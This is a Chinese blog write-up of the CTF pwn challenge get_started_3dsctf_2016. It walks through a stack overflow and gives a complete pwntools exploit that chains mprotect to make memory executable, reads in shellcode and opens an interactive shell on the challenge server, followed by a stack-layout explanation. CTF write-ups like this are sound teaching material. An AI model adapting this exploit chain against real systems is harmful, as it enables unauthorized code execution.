1

get_started_3dsctf_2016

1.ida分析

 

 

 

 

存在栈溢出,有后门函数可以利用。

2.查看保护

 

 

 3.解决

一开始的思路是通过栈溢出修改rip到后门函数,但是无论试了多少次都没有返回结果。上网查看别人的思路,发现是通过利用mprotect函数修改内存的权限,再读入shellcode执行。

from pwn import *
context.log_level='debug'

p=remote("node4.buuoj.cn",29307)
elf=ELF('./get_started_3dsctf_2016')

start=0x080ea000
main=0x08048A20
pop3=0x08063adb #pop edi ; pop esi ; pop ebx ; ret
mprotect=0x0806EC80
read_addr= elf.symbols['read']

payload=b'a'*0x38
payload+=p32(mprotect)
payload+=p32(pop3)
payload+=p32(start)
payload+=p32(0x2000)
payload+=p32(0x7)#rwx
payload+=p32(read_addr)+p32(pop3)+p32(0)+p32(start)+p32(0x100)+p32(start)

p.sendline(payload)

payload2=asm(shellcraft.sh(),arch = 'i386', os = 'linux') 
p.sendline(payload2)
#payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 

p.interactive()

脚本来源:https://www.yuque.com/cyberangel/rg9gdm/slwmab

 

4.脚本

start=0x80ea000

payload+=p32(mprotect) payload+=p32(pop3) payload+=p32(start) payload+=p32(0x2000) payload+=p32(0x7)

首先是修改内存0x80ea000的权限为可读可写可执行

修改前的权限:

 

加pop3的原因:

 

 当执行完push ebx的时候,栈中情况:

esp: ebx
  pop3
  参数1
  参数2
  参数3
  read_addr

 

 

 

 

 

 

 

这个时候[esp+4+0xc]刚好是参数3,[esp+4+8]是参数2,[esp+4+4]是参数1。

执行到retrn指令时,栈中情况

esp: pop3
  参数1
  参数2
  参数3
  read_addr

 

 

 

 

 

 

利用3个pop操作清空参数,并且利用ret指令跳转到read函数的地址。下面的pop3同理

 

p32(read_addr)+p32(pop3)+p32(0)+p32(start)+p32(0x100)

调用read函数读入shellcode

 

posted @ 2021-07-17 21:39  mio_yy  阅读(61)  评论(0)    收藏  举报